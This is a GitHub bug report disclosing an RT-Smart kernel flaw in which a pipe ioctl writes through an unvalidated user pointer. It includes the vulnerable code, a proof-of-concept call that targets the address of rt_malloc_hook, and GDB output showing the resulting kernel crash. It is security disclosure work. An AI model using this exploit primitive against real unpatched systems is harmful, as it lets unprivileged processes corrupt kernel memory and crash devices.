Skip to content

[Bug] pipe: RT-Smart ioctl writes through an unvalidated user pointer and can corrupt kernel memory #11958

Open

Description

@XueDugu

RT-Thread Version

RT-Smart v5.0.0 through v5.3.0 and master (v5.4.0-dev). The raw ioctl argument
boundary entered master with the RT-Smart sync ecf2d8215961; the pipe sink is
still unpatched on current master cbc19778.

Affected area

  • Device drivers (POSIX pipe IPC / RT-Smart devfs ioctl)

Hardware-BSP vendor

Other (verified on QEMU vexpress-a9; applies to 32-bit RT-Smart builds exposing
POSIX pipes)

Architecture

  • ARM / ARMv7-A
  • Other (32-bit RT-Smart builds where pipe FIONREAD/FIONWRITE commands remain
    32-bit)

Board and hardware details

QEMU vexpress-a9, Cortex-A9, RT-Smart, official BSP configuration with
RT_USING_POSIX_PIPE=y and pipe buffer size 512.

Develop Toolchain

Official RT-Thread ARM musl toolchain GCC 7.3; QEMU 9.2.3; gdb-multiarch.

Describe the bug

pipe_fops_ioctl() writes a ring-buffer length directly through its args
pointer:

case FIONREAD:
    *((int *)args) = rt_ringbuffer_data_len(pipe->fifo);
    break;
case FIONWRITE:
    *((int *)args) = rt_ringbuffer_space_len(pipe->fifo);
    break;

RT-Smart sys_ioctl() forwards the original user argument without copyout, and
the pipe fops layer does not check whether it is a userspace address. An
unprivileged process can therefore choose any kernel address as the destination
of a four-byte write. The value is constrained to the pipe data/free-space range
(0..512 in this configuration), so this is a constrained-value arbitrary-address
kernel write, not an unrestricted arbitrary-value write.

Reproduction:

  1. Boot the audited qemu-vexpress-a9 RT-Smart kernel with an unprivileged
    user program as /sbin/init.
  2. Control:
pipe(fds);
int value = -1;
ioctl(fds[1], FIONWRITE, &value);

The call returns 0, value becomes 0x200, and the kernel remains alive.

  1. Attack:
pipe(fds);
ioctl(fds[1], FIONWRITE, 0xc010dd58); /* &rt_malloc_hook */
read(zero_fd, buf, 64);               /* invoke rt_malloc */
  1. GDB captures:
Hardware watchpoint: rt_malloc_hook
Old value = 0x0
New value = 0x200
pipe_fops_ioctl (... args=0xc010dd58 <rt_malloc_hook>)
  1. The next sys_read -> kmem_get -> rt_malloc(64) calls the corrupted hook.
    The kernel reports prefetch abort, pc=0x204, and enters
    rt_hw_trap_pabt -> rt_hw_cpu_shutdown.

Three GDB runs produced identical transcripts.

Expected result: FIONREAD/FIONWRITE must copy their int result through a
bounded kernel buffer, or the syscall boundary must reject kernel addresses with
EFAULT.

Actual result: an unprivileged local process can corrupt four bytes at any
kernel address with a pipe-derived value. The reproduced target corrupts
rt_malloc_hook, causing a deterministic kernel prefetch abort and shutdown.

Other additional context

Activity

  1. github-actions commented on Oct 30, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions